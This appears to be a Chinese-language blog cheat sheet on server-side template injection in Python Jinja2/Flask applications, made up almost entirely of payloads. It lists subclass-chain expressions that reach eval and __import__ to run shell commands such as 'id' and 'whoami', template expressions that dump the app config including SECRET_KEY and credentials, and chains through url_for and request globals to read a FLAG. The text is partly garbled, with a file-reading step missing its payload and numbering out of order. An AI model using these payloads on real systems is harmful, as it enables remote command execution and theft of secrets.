ssti注入又称服务器端模板注入攻击(Server-Side Template Injection),和sql注入一样,也是由于接受用户输入而造成的安全问题。
废话不多说,直接上硬货!
1.文件读取
1.
上面的’’.class.mro[1].subclasses()[75]等于
2.命令执行 1
下有eval,__import__等的全局函数,可以利用此来执行命令:
#eval ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") #__import__ ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('id').read() ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
4.{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}} 3.config_app {{config.items()}} 其中包含应用程序的所有配置值。在大多数情况下,这包括敏感值,例如数据库连接字符串,第三方服务的凭证,SECRET_KEY等。 例如: url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等 如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。 {{url_for.__globals__['current_app'].config.FLAG}} {{get_flashed_messages.__globals__['current_app'].config.FLAG}} {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
| 留言与评论(共有 0 条评论) “” |